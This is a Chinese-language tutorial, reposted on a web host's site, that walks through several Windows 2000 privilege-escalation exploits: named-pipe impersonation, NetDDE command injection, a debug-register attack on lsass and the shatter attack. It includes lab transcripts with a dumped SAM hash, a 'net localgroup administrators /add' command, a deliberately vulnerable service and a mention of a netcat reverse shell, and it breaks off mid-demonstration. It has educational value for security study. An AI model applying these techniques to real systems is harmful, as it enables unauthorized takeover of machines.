电信主站 网通分站
购买流程 付款方式 常见问题 在线提问 续租服务 购物车
用户名: 密 码: 忘记密码?
首 页
域名注册
虚拟主机
双线主机
服务器租用
VPS主机
企业邮局
代理专区
客服中心
虚拟主机行业资讯 虚拟主机评测对比 互联网最新动态 技术学院 站长资讯 在线教程 网站运营
搜索优化 服务器 网络编程 图形图象 站长之家 网页制作 操作系统
冲浪宝典 软件教学 视频通信 办公软件 邮件系统 网络安全 认证考试
您当前位置:西部数码->资讯中心-> 在线教程-> ASP
系统安全:Win2000系统中几个攻击实例之成败心得-ASP教程,系统相关
作者:网友供稿 点击:26
  西部数码-全国虚拟主机10强!20余项虚拟主机管理功能,全国领先!第6代双线路虚拟主机,南北访问畅通无阻!虚拟主机可在线rar解压,自动数据恢复设置虚拟目录等.虚拟主机免费赠送访问统计,企业邮局.Cn域名注册10元/年,自助建站480元起,免费试用7天,满意再付款!P4主机租用799元/月.月付免压金!
文章页数:[1] 

    讲到exploit都会涉及到提升权限的问题,所谓提升权限就是利用系统的漏洞来获得更高的privilege。比如说,你用一般用户的账号登录windows nt/windows 2000后,你就只能作有限的操作,却不能加减用户,不能往系统目录中存写文件等等;但等到你通过系统的漏洞获得了administrator或者local system的权限以后,你也就可以作这些事了。 

  我研究exploit的时间并不是很长,但看到有关在windows操作系统中提升权限的方法与实例还真不少。刚才到google上用关键词“microsoft”、“windows”、“privilege”、“elevation”去搜索一下,居然返回3000多个结果。要知道,这还只是公布出来的部分,江湖中还有很多必杀绝技是不轻易示人的。

  要想在这里详细地介绍所有windows中提升权限的方法,我的功力是远远不够的----估计相当于丐帮一袋弟子的水平而已。所以呢,这一章所针对的读者应该是丐帮的入门弟子,如果你们哪位功力要用两个以上的麻袋来装的话,请尽管跳过这一章。

  我在选择这一章的exploit例子时,有意选择针对w2k操作系统、附带有源程序的例子,这样方便大家在自己的机器上试验。这些exploit并不是每个都成功,但是我感觉它们有不少可借鉴之处,可以通过学习它们来了解黑客的思路,从而提高自己的反入侵能力。

  记住我的机器dallas是w2k service pack 1,如果你们的计算机运行不同版本的w2k service pack,这些exploit可能需要改动。

  顺便说一句,实际上在第一章里面我们已经提到一种在unix或者linux中提升权限的方法,就是去exploit超级用户root所有的、具有suid位的执行程序。在windows操作系统中,没有suid这种说法,但是有一种runas服务(service)进程可以提供类似于suid的功能,而且是有可能被exploit的。  

  利用windows 2000中的named pipe来提升权限  

  windows 2000中的runas服务进程可以让用户甲以用户乙的权限运行程序,这类似于unix和linux系统中suid位功能。w2k中的一个api:createprocesswithlogonw就利用了runas服务进程,用户甲调用这个createprocesswithlogonw时把用户乙的账号(account)、域(domain)、密码(password)提交给windows操作系统作authentication,如果authentication成功,那么就接着运行指定的程序,而且这个程序运行时具有用户乙的权限。

  createprocesswithlogonw api的定义如下:

  bool createprocesswithlogonw(

  lpcwstr , // 用户乙的账号(account)

  lpcwstr , file://用户乙的域(domain)

  lpcwstr , // 用户乙的密码(password)

  dword , // logon option

  lpcwstr , // executable module name

  lpwstr , // command-line string

  dword , // creation flags

  lpvoid , // new environment block

  lpcwstr , // current directory name

  lpstartupinfow , // startup information

  lpprocess_information // process information

  );

  那么createprocesswithlogonw是如何把用户乙的账号信息传给runas服务进程的呢?在windows操作系统中有很多interprocess communication的方法,大概最常见的就是pipe了。我们在上一章对iis的exploit中也用到了pipe,不过那是没有名字的pipe (anonymous pipe);在这里createprocesswithlogonw是用有名字的pipe(named pipe)与runas联络的,这个named pipe就是“\\.\pipe\secondarylogon”。

  到目前为止,一切都正常。大家要问:runas的漏洞在哪里呢?它的漏洞是如何被exploit的呢?根据radix tteam的解释:当用户甲用createprocesswithlogonw创建具有用户乙权限的进程时,它是不会核实“\\.\pipe\secondarylogon”的server端究竟是连通到runas进程还是连通到其它的进程。如果runas服务进程在某一时刻停止运行的话,黑客进程可以趁机创建一个也叫“\\.\pipe\secondarylogon”的named pipe,然后黑客进程就假装成runas服务进程在pipe的server端等着接受信息。接着我们无辜而无知的用户甲调用createprocesswithlogonw了,它也不先调查一下named pipe另一端的进程身份,就把用户乙的账号信息由伪造的named pipe传了过去,传呀传,传呀传,一直传到黑客程序的耳朵里。

  radix team还编写了一个exploit程序radix1112200101,这个程序把通过named pipe “\\.\pipe\secondarylogon”传来的用户乙账号信息(包括用户名、域名、密码)统统显示出来。限于篇幅,我就不转载这个程序了,大家可以到他们的网站去看。不过这里我准备演示一下在dallas上如何使用radix1112200101来获得dallas本地域(local domain)的超级用户administrstor的密码。被exploit的程序(就是因为使用createprocesswithlogonw而泄密的家伙)叫radixvictim.cpp,它以超级用户administrator的权限启动一个notepad程序。

  <=====================radixvictim.cpp======================>

  // radixvictim.cpp : defines the entry point for the application.
  //

  #define _win32_winnt 0x0500

  #define unicode

  #include

  #include

  #include

  #include

  int apientry winmain(hinstance hinstance,

  hinstance hprevinstance,

  lpstr lpcmdline,

  int ncmdshow = sw_show)

  {

  // todo: place code here.

  lpcwstr lpusername = l"administrator"; // users name

  lpcwstr lpdomain = l"dallas"; // users domain

  lpcwstr lppassword = l"moda"; // users password

  dword dwlogonflags = logon_netcredentials_only; // logon

  option

  lpcwstr lpapplicationname = l"d:\\winnt\\notepad.exe";

  lpwstr lpcommandline = l"notepad.exe"; // command-line

  string

  dword dwcreationflags = create_new_console; // creation

  flags

  lpvoid lpenvironment = null; // new environment block

  lpcwstr lpcurrentdirectory = null; // current directory name

  startupinfo startupinfo; // startup information

  process_information processinfo; // process information bool ret;

  zeromemory(&startupinfo, sizeof(startupinfo));

  startupinfo.cb = sizeof(startupinfo);

  zeromemory(&processinfo, sizeof(processinfo));

  ret = createprocesswithlogonw(

  lpusername,

  lpdomain,

  lppassword,

  dwlogonflags,

  lpapplicationname,

  lpcommandline,

  dwcreationflags,

  lpenvironment,

  lpcurrentdirectory,

  &startupinfo,

  &processinfo

  );

  

  if (! ret )

  exitprocess (getlasterror()) ;

  return 0;

  }

  <==============================================>

  在伪造named pipe之前,必须关闭runas的“\\.\pipe\secondarylogon”,要不然运行radix1112200101会得到permission denied之类的错误。

  我先以超级用户administrator登录dallas,然后从administrative tools->services中终止runas服务进程(一般的情况下,只有超级用户administrator才能终止runas服务进程)。这样runas拥有的“\\.\pipe\secondarylogon”就关闭(close)了。

  再以我的一般用户账号moda登录dallas,接着运行radix1112200101伪造一个新的named pipe “\\.\pipe\secondarylogon”。

  d:\myjob\securitylab\radix\debug>radix1112200101

  created pipe and waiting for clients...

  怎么确定“\\.\pipe\secondarylogon”被成功地创建了呢?我们可以使用pipelist程序,这是我从sysinternals网站下载的宝贝之一,它能列出系统中所有的named pipe:

  d:\myjob\tool\pipelist\release>pipelist

  pipelist v1.01

  by mark russinovich

  http://www.sysinternals.com

  pipe name instances max instances

  --------- --------- -------------

  initshutdown 2 -1

  lsass 5 -1

  ntsvcs 50 -1

  scerpc 2 -1

  net\ntcontrolpipe1 1 1

  dhcpclient 1 -1

  net\ntcontrolpipe2 1 1

  winsock2\catalogchangelistener-194-0 1 1

  net\ntcontrolpipe3 1 1

  spoolss 2 -1

  。。。。。。。

  。。。。。。。

  net\ntcontrolpipe21 1 1

  tapsrv 2 -1

  router 2 -1

  wmiep_2ac 2 -1

  wmiep_154 2 -1

  secondarylogon 1 10

  d:\myjob\tool\pipelist\release>

  你们看到,最后一个named pipe就是radix1112200101刚刚伪造secondarylogon。

  现在运行radixvictim。对於这个程序,用户甲就是无辜而无知的“moda”,而用户乙就是超级用户administrator。请注意exploit程序radix1112200101的输出:

  d:\myjob\securitylab\radix\debug>radix1112200101

  created pipe and waiting for clients...

  read 4 bytes. (ascii dump)

  >

  ? read 318 bytes. (ascii dump)

  □

  ? ? 8

  x j □ □

  ? ? ? - + -

  ? a d m i n i s t r a t o r

  ? d a l l a

  s ? m o d a

  * d

  : \ w i n n t \

  n o t e p a d .

  e x e ? n o t e p a d . e x e l

  d h l


  w i n s

  t a 0 \ d e f a u l t _

  d:\myjob\securitylab\radix\debug>

  你们可以看到,超级用户administrator的信息(包括密码)全部都被radix1112200101接收到了。得到administrator的账号信息后,再提升权限就易如反掌了!

  这个exploit的关键在于:第一,named pipe的名字是广为人知的,黑客的named pipe也可以贴上同样的名字“\\.\pipe\secondarylogon”去冒充;第二,createprocesswithlogonw在使用named pipe之前并没有核实named pipe的server端进程,它不管server端是连通到runas进程还是到其它的进程。类似的这样问题是在windows操作系统中是广泛存在的,再看下面的例子:

  我是在网站http://www.dogmile.com上看到的这个例子的,作者为maceo。根据maceo的研究,windows 2000操作系统广泛使用了named pipe来控制(或者说管理)服务进程,包括象clipbook服务进程呀、telnetd服务进程呀等等,而且这些named pipe的名字是可以猜得到的。如果黑客抢先用猜到的名字创建named pipe的话,服务进程启动时会直接连接到黑客的named pipe上,於是黑客程序就可以通过impersonatenamedpipeclient()取得服务进程的权限(缺省设置为local system权限)。那么,黑客是怎样猜到这些named pipe的名字的呢?很简单,他是从registry中查询到的,在下面的地址:

  hkey_local_machine\

  system\

  currentcontrolset\

  control\

  servicecurrent

  如果servicecurrent的双字值(dword value)是x,那么服务进程所用到的named pipe的名字就是“\\.\pipe\net\ntcontrolpipe(x+1)”,这也就是黑客要伪造的named pipe的名字。

  maceo给出了几个exploit程序,我下面就在dallas上演示其中的一个----pipeup。这个exploit程序首先从registry中取得下一个服务进程要使用的named pipe名字,然后抢先创建这个named pipe;紧接着它启动服务进程clipbook,由于clipbook启动后会主动连接这个伪造的named pipe,於是pipeup就通过函数impersonatenamedpipeclient而获取了local system的账号权限(因为clipbook一般以local system的账号运行)。这样进程pipeup就有足够的权限把local system在security account manager(sam)中的信息读出来。

  你们可以从网站http://www.dogmile.com下载这个exploit的源程序,这里限于篇幅我就不转载这个程序了(画外音:其实是限于版权)。

  先以administrator的账号登录dallas,把clipbook服务进程停止。

  再以一般用户moda登录,运行exploit程序pipeup,下面是pipeup运行及exploit的结果:

  d:\myjob\securitylab\pipeup\debug>pipeup

  the clipbook service is not started.

  more help is available by typing net helpmsg 3521.

  impersonating: system

  dumping sam for rid 500 ...

  f:0x020001000000000010f3e3f89b33c2010000000000000000f0a09fa11061c
101ffffffffffff

ff7fb0c25115f430c201f401000001020000100200000000000000002a010100
000000000d000a00
0000

v:0x00000000a800000002000100a80000001a00000000000000c400000000
00000000000000c400

00006c0000000000000030010000000000000000000030010000000000000
0000000300100000000

0000000000003001000000000000000000003001000000000000000000003
0010000000000000000

0000300100000000000000000000300100000000000000000000300100000
8000000010000003801

000014000000000000004c010000140000000000000060010000040000000
0000000640100000400

000000000000010014808800000098000000140000003000000002001c000
100000002c014004400

05010101000000000001000000000200580003000000000014005b0302000
1010000000000010000

000000001800ff070f000102000000000005200000002002000000002400440
00200010500000000

000515000000dde8e41c32621f2a8aa7323ff401000001020000000000052000
0000200200000102
  0000000000052000000020020000410064006d0069006e0069007300740072
00610074006f007200
  00004200750069006c0074002d0069006e0020006100630063006f0075006e0
07400200066006f00

72002000610064006d0069006e006900730074006500720069006e00670020
007400680065002000

63006f006d00700075007400650072002f0064006f006d00610069006e000102
0000070000000100
  01001913f29278bf71eaff44492fb2f9ed05010001002a730d35666e44ffa4f37b29
011d882f0100

010001000100

  d:\myjob\securitylab\pipeup\debug>

  大家看了上面两个例子有什么想法呢?肯定有人会觉得这些exploit有“做弊”的嫌疑:一方面,在radix1112200101(或pipeup)运行之前,runas(或clipbook)服务进程都必须先终止运行,这样黑客进程才有可能伪造named pipe,才有机会窃取administrator(或local system)的账号信息;而另一方面,黑客必须先取得至少administrator的权限才能终止runas(或clipbook)进程。这两个方面看起来是互为前提条件的,是个无解的“deadlock”。实际上,我在securityfocus网站上看到microsoft针对exploit程序radix1112200101的回复,它指出这个exploit是两难的,现实中不太可能发生。

  要实现这个exploit确实有些难度,但是这并不等于不会发生!假如某个服务进程有bugs,象缓冲区溢出呀、signal不当reentrant呀等等,那么在运行中这个服务进程就有可能被黑客故意整垮掉(crash),然后黑客就可以伪造它的named pipe,再利用上面的exploit程序提升其权限。

  而且有时候我们并不需要先终止服务进程,我在microsoft的security bulletins网站上找到一个例子----编号为ms01-031的一篇文章 “predictable name pipes could enable privilege elevation via telnet”。中文大意是说:当你通过telnet远程联线到windows 2000系统中的telnetd服务进程时,telnetd会创建一个新的named pipe,同时运行这个named pipe携带的初始化程序。由于这个named pipe的名字是可以猜到的(predictable),所以黑客可以抢先用猜到的名字创建这个named pipe,同时让这个named pipe携带黑客码作为初始化程序;当telnetd服务进程发现这个named pipe已经存在时,它既不重新创建一个新的named pipe,也不核实一下这个named pipe的创建者是否可以信赖(trustable),相反,它直接使用这个named pipe,并且把其携带的黑客码当成初始化程序运行。由于在缺省设置的情况下,telnetd服务进程具有local system的权限,所以黑客码也将以这个最高的权限横冲直撞。

  microsoft的文章并没有告诉我们这个可以猜得到的named pipe名字是什么----这是可以理解的,毕竟谁也不会开门掬盗。不过我在dallas上作了个试验:分别联结两个telnet session到dallas上,然后用pipelist程序观察在telnet后named pipe的变化情况:

  d:\myjob\tool\pipelist\debug>pipelist

  pipelist v1.01

  by mark russinovich

  http://www.sysinternals.com

  pipe name instances max instances

  --------- --------- -------------

  initshutdown 2 -1

  lsass 5 -1

  ntsvcs 52 -1

  scerpc 2 -1

  net\ntcontrolpipe1 1 1

  。。。。。。。。。。

  tapsrv 2 -1

  router 2 -1

  wmiep_644 2 -1

  wmiep_2c8 2 -1

  net\ntcontrolpipe28 1 1

  telnetd\000001fc.00000000 1 1

  telnetd\000001fc.00000001 1 1

  telnetd\000001fc.00000002 1 1

  telnetd\000001fc.00000003 1 1

  上面用黑体字标出来的named pipe:net\ntcontrolpipe28属于telnetd服务进程,而telnetd\000001fc.00000000与telnetd\000001fc.00000001属于第一个telnet session,telnetd\000001fc.00000002与telnetd\000001fc.00000003属于第二个telnet session。如果这时有第三个用户telnet进来的话,telnetd要用到的named pipe名字将会是telnetd\000001fc.00000004与telnetd\000001fc.00000005,我敢赌100块钱!!!

  你们看到,这个例子并不需要终止任何服务进程,理论上说你只需要具有一般用户账号就可以提升你的权限到local system级别:先以一般用户账号伪造named pipe并让它附带黑客码作为初始化程序,然后以同一账号远程联线到象dallas这样的机器上,telnetd服务进程会主动运行你附带在named pipe上的黑客码,而且你的黑客码是以local system权限运行。

  利用windows 2000中的dynamic data exchange来提升权限:

  我是在www.atstake.com网站的security advisory栏目(2001年2月版)看到这篇文章:“netdde message vulnerability”,作者是dildog。搞这一行有些日子的人大概都看过他的另一篇非常有名、非常经典的文章:“the tao of windows buffer overflow”;这篇文章被其他人引用的次数很多,如果拿这篇文章的引用率来评职称,肯定是非常的solid----就是很硬的意思!

  在那一篇文章中,他详细地介绍了在windows nt系统中如何发现netmeeting的缓冲区溢出,如何一步一步编写黑客码去exploit这个缺口(vulnerability)。实际上,在前面两章的exploit试验中我所用到的罗马大道“jmpesp”,以及函数指令表都直接或间接地借鉴了他的思路。有兴趣的朋友可以到下面的网页去拜读一下这篇大作:

  http://www.cultdeadcow.com/cdc_files/cdc-351/index.html

  好,回到正题:如何利用dynamic data exchange来提升权限?我们曾经提到过,在windows操作系统有多种interprocess communication的方法,named pipe是常见的一种,而dynamic data exchange(dde)则是另一种常见的方法,它是通过共享内存来实现不同进程间的动态数据交换。这些动态交换的数据叫dde share,它们由dde server创建并由network dde dsdm (dde share database manager)服务进程管理。你可以在dos窗口下运行命令ddeshare来显示你计算机上的dde share,常见的dde share有chat$、clpbk$、hearts$。

  当管理dde share的network dde dsdm服务进程运行时,winlogon会在当前登录用户的desktop产生一个隐藏式的window,这个隐藏式的window名字为"netdde agent",是一个"nddeagnt"类的window class,它的功能在于协助dde server程序及dde client程序之间的数据交换。由于它由winlogon创建,这个window的进程就以local system的权限运行在登录用户的desktop上,只不过用户看不到它而已。

  "netdde agent"还有另外一个辅助功能:当dde client试图连接到一个trueted的dde share时,如果"netdde agent"发现创建这个dde share的dde server尚未运行,它会主动启动这个server。记住"netdde agent"进程是具有local system权限的,所以它启动server没有一点问题。

  根据dildog的研究,这个隐藏式的"netdde agent"就是一个缺口(vulerability)!还记得window操作系统中的函数sendmessage()吗?登录用户可以利用这个函数向desktop上的任何window发送message,即使这个window不属于当前登录用户。所以黑客在以一般用户的身份登录后,可以用sendmessage()发送一个wm_copydata message给"netdde agent",这个message里面同时携带着一个精心炮制的数据块作为调用参数。这个数据块包含以下内容:

  1。 一个trusted dde share的名字,比如说chat$;

  2。 一个用于启动dde server的命令,如果"netdde agent"发现创建chat$的dde

  server尚未运行,就根据这个命令来启动dde server。但是黑客可以任选一个命 令来伪造,比如说“net localgroup administrators /add 阿猫”----这里的阿 猫已经是合法的一般用户了;

  3。 一些固定不变的字节。dildog认为是这些字节应该是随机产生的,而不应该固定不变。我个人理解这些字节是用于向"netdde agent"或network dde dsdm证明wm_copydata message是由合法程序(而不是黑客程序)发出的,所以它们应该随机变化而不让黑客轻易得到。

  当"nddeagnt"接收到wm_copydata message时,它核对后会发现第三部分的字节正确无误,而且trusted dde share确实存在,於是它就执行黑客命令,由于"nddeagnt"具有local system权限,它可以顺利地让阿猫同志光荣地加入本地administrator group。

  dildog在文章中还附带了一个exploit程序netddemsg,我接下来就在dallas上演示一下我自己是如何追随阿猫加入本地administrators group的:

  /*

  先以我的用户账号“moda”登录dallas。

  看看本地administrators group有哪些成员:

  */

  d:\myjob\securitylab\netddemsg\debug>net localgroup administrators

  alias name administrators

  comment administrators have complete and unrestricted access to the members

  -----------------------------------------------------------------------------

  a_mao

  administrator

  the command completed successfully.

  /*

  本地administrators group目前只有两个成员,administrator和a_mao。试着把“moda”加入到本地administrators group中:

  */

  d:\myjob\securitylab\netddemsg\debug>net localgroup administrators /add moda

  system error 5 has occurred.

  access is denied.

  /*

  我的权限显然不够,所以得到error 5。

  运行dildog的exploit程序,同时附带上我的黑客命令:

  */

  d:\myjob\securitylab\netddemsg\debug>netddemsg -s chat$

  net localgroup administrators /add moda

  /*

  程序运行结束,让我们看看“moda”是否加入本地administrators group:

  */

  d:\myjob\securitylab\netddemsg\debug>

  d:\myjob\securitylab\netddemsg\debug>net localgroup

  administrators

  alias name administrators

  comment administrators have complete and unrestricted

  access to the

  members

  -----------------------------------------------------------------------------

  a_mao

  administrator

  moda

  the command completed successfully.


  d:\myjob\securitylab\netddemsg\debug>

  /*

  我也光荣地加入了本地administrators group

  */   

  利用windows 2000/intel中的debug register来提升权限:

  我是在georgi guninski的个人网站http://www.guninski.com)上看到这篇文章:

  “elevation of privileges with debug registers on win2k”,介绍如何利用intel x86中的debug register来获取local administrator的权限。我的运气不太好,用文章中的exploit程序pipe3试了几次也不能成功,不过觉得利用debug register来攻击是个新的思路,所以就在这里顺便介绍一下。

  intel x86的debug register(dr0-dr7寄存器)是所有进程共用的。也就是说,你在一般用户进程中下一个绊子(就是设置一个断点),没准会把某个系统进程或者服务进程(service)绊一跤;这一跤要是把系统/服务进程摔垮了,导致它停止执行的话,你没准就可以伪造该进程的named pipe;然后当有其它进程企图通过named pipe与垮掉的系统/服务进程联络时,黑客就可以利用函数impersonatenamedpipeclient来窃取其它进程的权限----这很可能就是local ssystem的权限。

  文章中的exploit程序pipe3(请从网http://www.guninski.com下载)就是按照这个思路设计的:它要整垮的进程是lsass,所以必须先找几个lsass进程将要运行的指令的地址,以便在这些地址设置断点(也就是搞清楚lsass要走哪一条路,我们才好在那条路上设绊脚石);然后pipe3以一般用户的权限运行程序calc(计算器),并在其中设置断点,因为这断点的地址是在lsass运行的途径上,所以它们并不会影响calc进程;过不了多久lsass就会有报告“singlestep exception”并让你选择是中断lsass运行还是debug lsass进程;选择中断lsass以便关闭lsass拥有的named pipe----\ 5c.\pipe\lsass",这样pipe3就可以伪造一个同名的named pipe;。。。。。。这以后的几步我想就不用重复了,大家都应该清楚。下面说说我exploit的情况:

  先用windbg找到lsass可能要运行的指令地址,lsass有多个thread,我从不同thread的esp寄存器中找了几个地址。然后以我的一般用户名“moda”登录dallas。最后让pipe3在这些地址分别设断点,总有那么一个地址会成功地中断lsass程,并且产生一个warning对话框(dialog box)报告“singlestep exception”。当我选择中断进程后,lsass退出执行,pipe3报告“lsa died!”:

  d:\myjob\securitylab\pipe3\debug>pipe3

  fun with debug registers. written by georgi guninskivvdr started: lsasspid=240 breakp=5ffebc

  lsa died!

  stop writing to pipe

  start \\.\pipe\lsass

  failed to create named pipe:

  \\.\pipe\lsass

  由于lsass是重要的系统进程,它的终止运行将使系统在一分钟内自动shutdown。另外我们注意到,\\.\pipe\lsass并没有成功地创建。为什么呢?我抢在系统shutdown之前运行了一下pipelist:

  d:\myjob\securitylab\pipe3\debug>pipelist

  pipelist v1.01

  by mark russinovich

  http://www.sysinternals.com

  pipe name instances max instances

  --------- --------- -------------

  initshutdown 2 -1

  lsass 2 -1

  ntsvcs 49 -1

  scerpc 2 -1

  net\ntcontrolpipe1 1 1

  dhcpclient 1 -1

  net\ntcontrolpipe2 1 1

  。。。。。。。。。。。。。。。。

  很奇怪,虽然lsass进程终止运行,但是它的named ppipe还在----这大概是pipe3没能创建“\\.\pipe\lsass”的原因。由于时间的关系,我没能深入研究这个问题,不过哪位朋友要是用pipe3成功地实现exploit的话,不要忘记告诉我一声!

  不过话又说回来,这种利用debug register来终止lsass进程的方法----即使成功的话,也太暴露了:整个系统居然会shutdown!任何一个傻瓜管理员都会发现有黑客入侵。这大概是黑客中的业余水平。好一点的黑客要做到“轻轻的我走了,正如我轻轻的来”,要象伟大的诗人兼武林高手徐自摩那样施展一把轻功,让傻瓜管理员根本发现不了,当然耳朵厉害的管理员还是会发现的----“谁?有黑客!抓黑客!”。水平达到最高境界的黑客应该是能够羚羊挂角、踏雪无痕的,这就不是我能评论的了。

  利用win32 api的设计缺陷提升权限:

  几个星期以前我在计算机安全网站上看到两篇新发表的文章:<>、<>,作者是chris

  paget(网名foon),我建议大家去下面的网址读一下他的原著:

  http://security.tombom.co.uk/shatter.html

  http://security.tombom.co.uk/moreshatter.html。

  这两篇文章详细地介绍了如何利用win32 api的一个设计缺陷来提升普通用户的权限。我们前面也提到,普通用户的进程可以向他/她的desktop上任何window发送message,让目标window执行用户指定的操作,比如说copy/paste(拷贝/沾贴)、定时运算(timer)等等。这个window可能属于用户自己,也可能属于local system(象"netdde agent")----这样问题就来了:

  ---- 普通用户如你我他她它(比尔盖茨说狗也可能上网的,所以我们要算上“它”)在他的desktop上先找到一个属于local system的window,我们给这个window起一个名字叫windowxyz,这个windowxyz上最好有能接收沾贴内容的control(比如说 edit);

  ---- 用户可以把黑客码用“wm_paste”(message之一)沾贴到windowxyz的control里;

  ---- 用户找到被沾贴的黑客码在windowxyz进程中的地址;

  ---- 用户然后发送“wm_timer”(message之二)给windowxyz,同时把黑客码地址作为参数一并传给windowxyz,windowxyz於是执行定时运算,开始运行黑客码。这些 黑客码是以local system的权限运行的,所以普通用户的权限被成功地提升。

  ---- 实际上,根据foon的文章,即使普通用户在其desktop上找不到属于local system的window,他也有办法提升权限:他可以利用tool help函数得到属于 local system的进程及其thread,只要其中任何一个thread能处理window的message,用户就可以用函数postthreadmessage()向这个属于local system的thread发送message,然后就。。。如此这般。。。地提升权限。不过我没有时间 亲手试验过这种方法。

  这两篇文章引起了很大的反响,其中最引人注意的是microsoft的答复,micorsoft说这种方法老早就有人提出来了,nothing new!又说根本就不应该在普通用户的desktop上创建属于local system的window,编程序的人应该避免这样的设计。但实际上隐藏式的窗口"netdde agent"就出自于microsoft的设计,它属于local system但是却运行在登录用户的desktop上,看来microsoft是知法犯法啊!

  我觉得这个缺陷就象不安全的函数strcpy一样,c语言在实现strcpy函数时有漏洞(函数返回地址、函数堆栈栈底地址等系统管理信息与缓冲区分配在一块,缓冲区的溢出就会覆盖系统管理信息),於是大家寄希望于程序员能够避免使用函数strcpy。现在microsoft也承认在普通用户的desktop上创建一个window是危险的,所以它也寄希望于大家编程时避免使用这样的设计。

  下面我专门编写了一个服务进程“simpleservice”来演示一下microsoft的这个设计缺陷。simpleservice以local system的权限运行,它打开一个named pipe然后等待named pipe client与它联络;普通用户接着登录计算机并运行程序“client”,“client”是一个named pipe client;它向simpleservice的named pipe随便写一些字节,於是simpleservice就在登录用户的desktop上产生一个对话窗口(dialog box)。普通用户最后利用foon的攻击程序shatter攻击这个对话窗口来获得“local system”的权限。

  因为simpleservice程序太长,所以我只节选了关键的部分让大家参考:

  <====================simpleservice====================>

  #define szappname _t("simple")

  #define szservicename _t("simpleservice")

  #define szservicedisplayname _t("simple service")

  #define szdependencies _t("")

  typedef struct dlgparam{

  uint numofhit;

  tchar *msg;

  } dlgparam;

  // internal function prototypes

  static bool callback dialogproc(hwnd hwnd, uint umsg, wparam wparam, lparam lparam);

  // simpleservice.cpp : defines the entry point for the

  application.

  //

  hinstance happinstance;

  dlgparam m_dlgparam;

  int apientry winmain(hinstance hinstance,

  hinstance hprevinstance,

  lpstr lpcmdline,

  int ncmdshow)

  {

  ......

  }

  void winapi service_main()

  {

  ......

  }

  void winapi service_ctrl(dword dwctrlcode)

  {

  ......

  }

  bool winapi controlhandler ( dword dwctrltype )

  {

  ......

  }

  handle hserverstopevent = null;

  void servicestart ()

  {

  ......

  ......

  hpipe = createnamedpipe(

  lpszpipename , // name of pipe

  file_flag_overlapped  

  pipe_access_duplex, // pipe open mode

  pipe_type_message  

  pipe_readmode_message  

  pipe_wait, // pipe io type

  1, // number of instances

  0, // size of outbuf

  file://(0 == allocate as necessary)

  0, // size of inbuf

  1000, // default time-out value

  &sa); // security attributes

  ......

  ......

  while ( 1 )

  {

  ......

  ......

  connectnamedpipe(hpipe, &os);

  ......

  ......

  bret = readfile(

  hpipe, // file to read from

  szin, // address of input buffer

  sizeof(szin), // number of bytes to read

  &cbread, // number of bytes read

  &os); // overlapped stuff, not needed

  ......

  ......

  _stprintf(szout, _t("please check the dialog box"));

  _stprintf(szout1, _t("eacho back! [%s]"), szin);

  ......

  ......

  bret = writefile(

  hpipe, // file to write to

  szout, // address of output buffer

  sizeof(szout), // number of bytes to write

  &cbwritten, // number of bytes written

  &os); // overlapped stuff, not needed

  ......

  ......

  disconnectnamedpipe(hpipe);

  m_dlgparam.numofhit++;

  m_dlgparam.msg = szout1;

  /*

  在登录用户的desktop上创建一个窗口

  */

  int result = dialogboxparam(happinstance,

  makeintresource(idd_svcmsg),

  null,

  (dlgproc) dialogproc,

  (lparam) &m_dlgparam);

  }

  cleanup:

  ......

  ......

  }

  void servicestop()

  {

  if ( hserverstopevent )

  setevent(hserverstopevent);

  }

  #define sizeofbuf 40

  /*

  window的message handler

  */

  bool callback dialogproc(hwnd hwnd, uint umsg, wparam wparam, lparam lparam)

  {

  dlgparam* l_pdlgparam = (dlgparam*) lparam;

  char tempbuf[sizeofbuf];

  switch (umsg)

  {

  case wm_initdialog:

  {

  hwnd hnumvisit = getdlgitem(hwnd, idc_numhit);  /*限定edit control的尺寸(size)为3*/

  sendmessage( hnumvisit, em_limittext, (wparam) 3,

  (lparam)0);

  _itoa(l_pdlgparam->numofhit, tempbuf,10);

  sendmessage(hnumvisit, wm_settext, (wparam)

  0,(lparam)tempbuf);

  hwnd hmsg = getdlgitem(hwnd, idc_msg);

  /*限定edit control的尺寸(size)为40*/

  sendmessage( hmsg, em_limittext, (wparam) sizeofbuf,

  (lparam)0);

  sendmessage( hmsg, wm_settext, (wparam) 0,

  (lparam) l_pdlgparam->msg );

  setforegroundwindow(hwnd);

  return false;

  }

  case wm_command:

  {

  switch (loword(wparam))

  {

  case idc_ok:

  enddialog(hwnd, idc_ok);

  return false;

  default:

  return false;

  }

  }

  }

  return false;

  }
  <===============================================>

  下面是程序client.c,非常简单,它的功能仅仅是向“\\.\pipe\simple”发送几个字节:

  <=======================client========================>

  // client.cpp : defines the entry point for the console

  application.

  //

  #include

  #include

  #include

  #include

  int main(int argc, char* argv[])

  {

  char inbuf[80];

  char outbuf[80];

  dword bytesread;

  bool ret;

  lpstr lpszpipename = "\\\\.\\pipe\\simple";

  lpstr lpszstring = "world";

  strcpy( outbuf, lpszstring );

  ret = callnamedpipea(lpszpipename,

  outbuf, sizeof(outbuf),

  inbuf, sizeof(inbuf),

  &bytesread, nmpwait_wait_forever);

  if (!ret) {

  printf("client: callnamedpipe failed for %d\n",

  getlasterror());

  exit(1);

  }

  printf("client: received: %s\n", inbuf);

  return 0;

  }

  <==================================================>

  foon编写了一个攻击工具shatter,大家可以参考他的文章来使用这个工具,而且他的网站上还有shatter的源程序。这个程序专门攻击象simpleservice这样会创建window的服务进程,它首先把window中edit control的尺寸(size)扩大,然后把可执行的黑客码沾贴到edit中,这样就把黑客码拷贝到这个window进程的内存中了----很cool吧!接下来我们就要寻找黑客码在内存中的地址,foon是用windbg去寻找这个地址的,详情请参考他的文章。最后shatter向window进程发送一个定时执行message----“wm_timer”,迫使window进程执行刚才拷贝进去的黑客码。这个黑客码是根据jill的黑客码改编而成,它产生一个远程的cmd shell联结回到client机器上,所以我们可以用鼎鼎有名的netcat程序与它联络。

  我现在来演示一下使用shatter攻击simpleservice的过程,看看普通用户“moda”是如何通过shatter提升权限的:

  先以普通用户“moda”登录,看看本地administrators组当前的成员:

  microsoft windows 2000 [version 5.00.2195]

  (c) copyright 1985-1999 microsoft corp.

  d:\myjob\tool\netcat>net localgroup administrators

  alias name administrators

  comment administrators have complete and unrestricted access to the members

  -----------------------------------------------------------------------------

  administrator

  the command completed successfully.

  本地administrators组只有administrator一个成员。我们试一下能不能把“moda”加入到本地administrators组。

  d:\myjob\tool\netcat>net localgroup administrators /add moda

  system error 5 has occurred.

  access is denied.

  很惨呀,得了一个“access is denied.”的错误。

  下面运行程序client,向simpleservice发送几个字节,於是simpleservice在普通用户“moda”的desktop上产生一个对话框:

